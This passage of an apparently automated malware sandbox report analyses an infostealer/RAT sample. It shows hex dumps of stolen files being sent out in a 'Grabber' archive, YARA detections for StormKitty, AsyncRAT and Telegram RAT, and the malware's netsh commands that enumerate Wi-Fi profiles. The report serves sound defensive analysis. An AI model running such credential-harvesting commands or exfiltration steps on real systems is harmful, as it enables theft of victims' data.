2024-07-25 11:04:10 UTC	16355	OUT	Data Raw: 00 00 08 00 1c 52 44 57 7d 1c 59 5e 81 02 00 00 02 04 00 00 3e 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 65 73 6b 74 6f 70 5c 42 4a 5a 46 50 50 57 41 50 54 5c 45 57 5a 43 56 47 4e 4f 57 54 2e 70 64 66 15 93 c7 71 00 31 08 00 ff 9e 71 51 02 e5 00 ca 81 fe 0b f1 f9 07 1f c2 b2 98 23 b8 1d f1 99 d8 1d 2a ef 7c 50 fd 78 e8 a6 ad b3 8a 96 69 6c 62 99 20 49 fb e9 0e 17 2e b7 c5 8c 21 cf cd 37 ce 73 8d 74 bb 37 c7 a8 d7 45 21 3a 65 f9 36 5f f6 f6 55 66 b0 31 3b 71 7a 3c 51 83 ca 59 59 a7 5d 03 0c 30 a3 6d 86 33 23 86 86 d8 85 db 28 c6 8a 32 8c 36 d4 75 83 9f 9d 9f 4d 6d 4d 3b d4 3a 70 c2 88 7e ee d0 9a 31 21 ee e8 19 9c 70 f5 ba 43 c0 12 51 e2 4b 29 ee 0c 6b 78 f1 71 58 5d 9e 71 15 6c d7 c3 86 18 96 d2 e7 Data Ascii: RDW}Y^>Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdfq1qQ#*\|Pxilb I.!7st7E!:e6_Uf1;qz<QYY]0m3#(26uMmM;:p~1!pCQK)kxqX]ql
2024-07-25 11:04:10 UTC	16355	OUT	Data Raw: 4b 03 04 14 00 00 00 08 00 1c 52 44 57 d6 93 e6 20 83 02 00 00 02 04 00 00 36 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 47 52 58 5a 44 4b 4b 56 44 42 2e 64 6f 63 78 0d 93 59 8e 45 21 08 44 ff 3b 79 8b 52 11 67 05 27 d4 fd 2f a4 ef 6f 25 14 e4 54 e1 fa 79 90 d2 06 bd 5c 94 ad 36 d7 9c fc dc 12 b1 c8 52 01 dd 89 17 de 04 b8 ed 5d e5 01 c0 d7 e3 eb 1e b8 5f b4 25 8d 78 1c 28 ed e5 24 7e 86 8f 2e 19 9f c1 d7 dd a3 27 f7 56 3b 73 01 69 19 32 05 6c 3b 75 28 6c 65 59 9f c2 f4 d5 d5 3e fb 13 f6 58 34 58 33 27 27 04 bb eb f6 5a 91 a9 c5 c4 2a 12 26 6d 65 44 87 55 c9 5c 7c c9 c5 63 8a 16 a8 1e cc 06 e3 6c f2 97 88 ac 4b 64 a8 dc 67 53 37 cd 75 0f a8 ea 7e 08 9f f0 a4 a5 dc 43 5b 64 Data Ascii: KRDW 6Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB.docxYE!D;yRg'/o%Ty\6R]_%x($~.'V;si2l;u(leY>X4X3''Z*&meDU\\|clKdgS7u~C[d
2024-07-25 11:04:10 UTC	16355	OUT	Data Raw: a9 16 41 e3 03 92 2c b8 11 d1 8f 57 cf 56 32 dc bd 77 67 86 61 be 9f 8c 1e 3b 72 b6 5c a9 a8 45 e1 94 44 b1 a4 e5 4c e0 40 72 ad bc 8e 2a 35 37 de 7a 4f 6c 7c a3 ec 83 bb 4a c5 5a b5 71 cf 59 d0 37 f1 a5 da f9 6f 74 06 d1 c9 ee e5 fe fc 98 91 cc d3 c4 d6 bc e0 15 ed 92 d4 60 66 c9 45 57 ae 92 7a 0d 18 ea 9f 30 65 e6 4e 8d 7e 50 4b 03 04 14 00 00 00 08 00 54 4c 44 57 fe e7 85 70 bc 00 00 00 f8 01 00 00 3c 00 00 00 47 72 61 62 62 65 72 5c 44 52 49 56 45 2d 43 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 79 20 56 69 64 65 6f 73 5c 64 65 73 6b 74 6f 70 2e 69 6e 69 ad 90 cd 0a 82 50 14 84 67 1d f4 18 ed 4a 32 a1 9f 85 10 04 41 10 2d aa 5d b5 08 b3 12 2c 43 0d aa 87 af be 2b 49 46 6d 84 38 78 3d 67 66 98 39 f7 3e ee 55 55 b4 90 a5 Data Ascii: A,WV2wga;r\EDL@r*57zOl\|JZqY7ot`fEWz0eN~PKTLDWp<Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.iniPgJ2A-],C+IFm8x=gf9>UU
2024-07-25 11:04:10 UTC	16355	OUT	Data Raw: 25 21 39 21 1e ec 97 fd 4a cd 11 61 a0 42 af e9 d4 81 17 a2 62 8d 27 a4 69 d1 80 4f 73 96 2d 1a dd ef 48 51 9d 8a 5f 44 52 d3 a3 b4 35 9c 01 bd 2d 42 3c 61 00 4b db af d6 43 9e 2b 23 3a a4 ba fa bc 4a 6b 8f d0 75 2b 18 8c 51 77 9b d9 53 7b 38 21 95 3e 73 d3 f1 73 16 21 8d 46 1a e2 8b 17 48 d3 c5 01 af 72 4a 79 83 06 54 5a 73 36 f0 27 d0 f6 c0 01 9b e7 83 88 57 24 60 07 7d d4 8f 61 50 11 d9 ca da cb 41 d8 86 3d 4f d3 99 7f 83 e1 6f 4f 48 a5 d3 98 42 1d 17 62 d2 79 a6 c3 9e 05 e4 34 51 e5 39 2e ab 7c 39 9e 8e c5 f9 65 87 b2 bd cd 69 de c9 39 d4 77 04 56 db ce 0c 0c c7 a6 66 d9 1a fc f2 c3 f3 84 20 a2 8e e7 53 69 bd 55 67 ea 77 b3 e3 4a 01 11 43 94 16 8d e7 a2 6a 16 d5 21 81 0f e6 24 77 a4 0f 57 4e 82 e4 c7 6e df 03 2f 64 cf 35 65 6e f8 7e 3f a5 43 9a 7c a0 Data Ascii: %!9!JaBb'iOs-HQ_DR5-B<aKC+#:Jku+QwS{8!>ss!FHrJyTZs6'W$`}aPA=OoOHBby4Q9.\|9ei9wVf SiUgwJCj!$wWNn/d5en~?C\|
2024-07-25 11:04:10 UTC	16355	OUT	Data Raw: e8 e4 a3 7f a9 c2 e1 f0 78 e8 51 3c 2f ce af 63 fd 99 3b b0 c4 60 41 ec af 84 21 31 e7 9c 22 43 16 e9 69 22 fe 21 09 9c 9b d8 06 24 fc 8e 23 03 7b 26 63 38 9b 84 3e fb 86 f0 c4 45 c7 23 74 20 dc dc 02 84 e7 8e f8 e4 02 ad c2 41 80 1f c0 c9 d9 cb 8e 0c 39 e4 e1 43 cb f5 71 c4 28 58 26 53 92 98 8d a4 e0 f8 d0 fa fc 14 9c 98 a7 40 37 9e e0 ef bf 49 78 ca 56 5f c3 53 3e b2 3f ca 49 d4 7e 74 13 fb f9 f0 bd 1d 86 de 72 40 0f 46 3a d9 f7 bf 33 d3 20 86 f4 30 d2 05 14 fe d6 b4 cf a3 20 25 7a 0c b1 ba 70 52 c7 92 10 ba c8 ed 9a 05 c1 62 19 4f 14 39 80 25 74 72 eb a2 c0 44 62 03 b1 22 1b b8 0a d5 21 a3 d3 e4 4c 27 04 07 66 9c 4f 5f 17 e1 2c 30 16 a8 5e 2e 67 10 a2 99 07 fc 93 80 ff d7 18 21 a9 79 63 60 62 55 20 27 3a e8 bd 8f 55 4c ad 24 0b d6 13 25 24 74 b2 04 1e Data Ascii: xQ</c;`A!1"Ci"!$#{&c8>E#t A9Cq(X&S@7IxV_S>?I~tr@F:3 0 %zpRbO9%trDb"!L'fO_,0^.g!yc`bU ':UL$%$t
2024-07-25 11:04:10 UTC	16355	OUT	Data Raw: a2 35 ac af e6 43 ef 5b f7 9e e6 a7 9d 63 37 9b f9 43 59 0a f3 fa 32 32 fc cd 9f 39 42 2e c8 c0 61 65 18 f6 ac f2 e9 ac 72 0a 80 f6 79 20 25 1b ae f4 dd e4 9a ad 4a 2f 77 f5 e0 1d 85 8e 5c 65 46 53 d0 03 1b 4f ba fd 0f 6b 4b 87 c7 fa 23 11 f0 82 57 8a 93 df 1c 0a d4 79 f7 06 0b 0a f6 b6 57 db a2 54 7f 40 7d 7d fc c9 c7 eb c0 d2 b4 45 18 d0 31 9b c1 e9 9a e3 d2 e8 bc eb 0b b1 f6 a7 41 db 9e 47 4c a3 5f d2 38 ec 02 db df 14 fd a1 35 99 5f 67 e6 90 1d c7 85 14 9a e2 01 b9 16 ad 87 03 3b e2 bc 9a 62 3c 2f 65 5e c9 6e 0f c9 1e 2f 3e 0a 55 a5 1b 2b 93 28 a3 14 13 ff e4 54 5a 22 5b 2f da 1b 60 b2 f3 02 83 fb 45 9b 3e db 4d 65 26 a0 a4 f1 8b f0 34 ac f6 90 d6 e6 de 3d 07 70 cf 99 c9 82 c9 d3 21 f5 f4 9d 24 59 e2 6e 19 4c 05 3b b2 b6 af 6f b7 38 74 95 5a 1c 5e 19 Data Ascii: 5C[c7CY229B.aery %J/w\eFSOkK#WyWT@}}E1AGL_85_g;b</e^n/>U+(TZ"[/`E>Me&4=p!$YnL;o8tZ^
2024-07-25 11:04:10 UTC	16355	OUT	Data Raw: 3c 93 d0 44 37 5f 71 29 54 7e b4 3c 91 5a f1 62 b8 f6 c2 d7 3c d5 37 71 2e 77 d0 f7 bb 65 41 f8 e1 cd f2 a3 33 78 8d 2b b7 6c 1f f1 ec e3 60 11 9a fb 82 8b 03 72 3c 53 3a 1d a7 af b8 fb 89 dd ef ec 65 fa 81 20 62 b0 cc 2e 76 bb db 58 62 ff 09 66 81 04 18 96 3c a3 ed cb dc a1 9d d4 85 2f e2 f9 41 6b 9b ec ce 95 e3 1f 83 ba 83 f0 c4 19 d2 c8 91 33 72 e1 60 f3 75 a0 55 60 01 e6 91 b6 30 28 85 0b 99 d6 a6 f8 00 4e 28 6e 43 ea 29 45 b1 70 4d f9 5a 51 dd 2a 51 ff 1d 0d 1b cc b6 ae 4a 69 16 09 c8 8f 21 97 24 e7 e4 2d dd e2 f6 e5 3a 07 9a d0 4e ff c4 0c e4 17 e7 fb c2 dd ed f3 11 df 7b c1 3d d4 d8 92 11 a1 19 ca 77 90 ec 4a 48 46 93 d8 14 9b f2 bb 17 6d a4 eb 9f 0b 29 2b 87 09 2a 79 65 2c 2e 82 af e9 8c 7a b2 96 4b 64 06 93 e6 9d 76 2d f7 cd 0c 1c 08 c5 15 60 55 Data Ascii: <D7_q)T~<Zb<7q.weA3x+l`r<S:e b.vXbf</Ak3r`uU`0(N(nC)EpMZQQJi!$-:N{=wJHFm)+ye,.zKdv-`U
2024-07-25 11:04:10 UTC	405	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Thu, 25 Jul 2024 11:04:10 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":401,"description":"Unauthorized"}

Target ID:	0
Start time:	07:03:45
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LisectAVT_2403002B_4.exe"
Imagebase:	0x400000
File size:	215'552 bytes
MD5 hash:	08ADCA5907849BCA41A607E62864CD4A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: 00000000.00000002.2500140385.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_WorldWindStealer, Description: Yara detected WorldWind Stealer, Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:03:45
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe"
Imagebase:	0x4f0000
File size:	174'080 bytes
MD5 hash:	E29AB30E42348ECF2831928B7B95D5D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WorldWindStealer, Description: Yara detected WorldWind Stealer, Source: 00000001.00000002.4479253953.0000000002902000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WorldWindStealer, Description: Yara detected WorldWind Stealer, Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, Author: ditekSHen Rule: JoeSecurity_WorldWindStealer, Description: Yara detected WorldWind Stealer, Source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_WorldWindStealer, Description: Yara detected WorldWind Stealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_References_VPN, Description: Detects executables referencing many VPN software clients. Observed in infosteslers, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen Rule: MALWARE_Win_StormKitty, Description: Detects StormKitty infostealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	07:03:59
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:03:59
Start date:	25/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:03:59
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x6b0000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:03:59
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show profile
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:03:59
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr All
Imagebase:	0x820000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:03:59
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:03:59
Start date:	25/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:03:59
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x6b0000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:04:00
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	14.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	87
Total number of Limit Nodes:	0

Executed Functions

Function 05440B20 Relevance: 1.6, APIs: 1, Instructions: 65
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05440B6C

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a88318ef52c0d8e8f9b7c7f6c09402d0dc500bdb5ffecabee32e0d9f57ab03d8
Instruction ID: 7dbdfc91caad45163958b9fbd2c8b832182b49dfdde95ca84bc3ca87fe65859c
Opcode Fuzzy Hash: a88318ef52c0d8e8f9b7c7f6c09402d0dc500bdb5ffecabee32e0d9f57ab03d8
Instruction Fuzzy Hash: F0214A307006148FDB14EB68C45D7AE33F7AB88349F2044A9D40AAB3A5DF75DC42CB91

Function 00C95AA8 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a57b99d97e3a2b6aa4ce6b8aef5de4654e27bced5db830f2a82928ea015c004
Instruction ID: 74355f4eb9cac83454bab827495b8e9ec9104c5b7b9244b441c4fb2fc7e763c4
Opcode Fuzzy Hash: 5a57b99d97e3a2b6aa4ce6b8aef5de4654e27bced5db830f2a82928ea015c004
Instruction Fuzzy Hash: F7B15F71E00609CFDF15CFA9C9897DDBBF2AF88304F148529D819A7294EB749946CF81

Function 00C96378 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df3c3fe813113b1cad82558d2d371ae0d2eb4c59800357d25743271b7930bc0e
Instruction ID: 07aa1dbbd5f8347e93b70cc977cae0d8301f496ef12835777e6d9f0f1583dc87
Opcode Fuzzy Hash: df3c3fe813113b1cad82558d2d371ae0d2eb4c59800357d25743271b7930bc0e
Instruction Fuzzy Hash: 3AB16270E00209CFDF10CFA9D9897ADBBF2AF88714F248529E415E7294EB749956CB81

Function 05445311 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 054453A3

Strings

4']q, xrefs: 0544535C

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: 4']q
API String ID: 2492992576-1259897404
Opcode ID: b83c8655211e2bd59c84f22b0298a02ab2c08dbe6802bc3da98944abd26439f0
Instruction ID: 83ce359a9903f7332f2497ea01bbb4cfbea5fc361a274d06e2c510f7ed8662a6
Opcode Fuzzy Hash: b83c8655211e2bd59c84f22b0298a02ab2c08dbe6802bc3da98944abd26439f0
Instruction Fuzzy Hash: 7F2157B1D0024A8FCB00CFA9D5457EEBBB4BB48314F15845AE459B7381C774A945CFA1

Function 05445320 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 054453A3

Strings

4']q, xrefs: 0544535C

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: 4']q
API String ID: 2492992576-1259897404
Opcode ID: 177d20c7fdfc1b1543ea7f0a3cb37dcb615eaaa4d502ed58019dd78193ff8ef8
Instruction ID: 42ba457f1da9562567f4c33976cd0dcbfd0247a8475130814fcece76e57408ed
Opcode Fuzzy Hash: 177d20c7fdfc1b1543ea7f0a3cb37dcb615eaaa4d502ed58019dd78193ff8ef8
Instruction Fuzzy Hash: B12135B1D0025A8FCB10DFA9D4456EEBBF8FB48314F14845AE459B7280C7746945CFA5

Function 00C915B0 Relevance: 2.6, Strings: 2, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 00C916D0
dLcq, xrefs: 00C915EB

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: Haq$dLcq
API String ID: 0-1713614415
Opcode ID: f0ef0336d0a67ccca6d1538795a4c3f8977c8bd04a20912e976fa9f30080ef7c
Instruction ID: 64f6b56f789202931050295a98c0c5b903b1a7936ca9c1edd8c1fcefd08d5c7b
Opcode Fuzzy Hash: f0ef0336d0a67ccca6d1538795a4c3f8977c8bd04a20912e976fa9f30080ef7c
Instruction Fuzzy Hash: 2C41D531B042058FCB059F69D458BAEBBF2EF89300F1945AAE506DB3A2CA759D05CB91

Function 00C97014 Relevance: 2.6, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dLcq, xrefs: 00C97083
Te]q, xrefs: 00C97039

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: Te]q$dLcq
API String ID: 0-1133975778
Opcode ID: 19aba7f36fc9131faeab03493372c2f37c119ffdb4dc310637c6cd393c3709fe
Instruction ID: 6728fe2e9cc3786e717fc0df6e9a4ace13add6aa883cd5bad3d1fa5903d1f8aa
Opcode Fuzzy Hash: 19aba7f36fc9131faeab03493372c2f37c119ffdb4dc310637c6cd393c3709fe
Instruction Fuzzy Hash: 0151E274B101149FCB44DF69C898AADBBF6FF88710B2580A9E506DB3B5DA71EC418B40

Function 00C9CB78 Relevance: 1.8, Strings: 1, Instructions: 531
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 00C9CD58

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 0e9dc6dfe914d8a66efb346109658a6a33d0c26cbed0e592b0d76efa7f2a7c60
Instruction ID: 2ef9766a8def9016b1db5d098b25caf170ba7b74113fce49037e0fe3393349dc
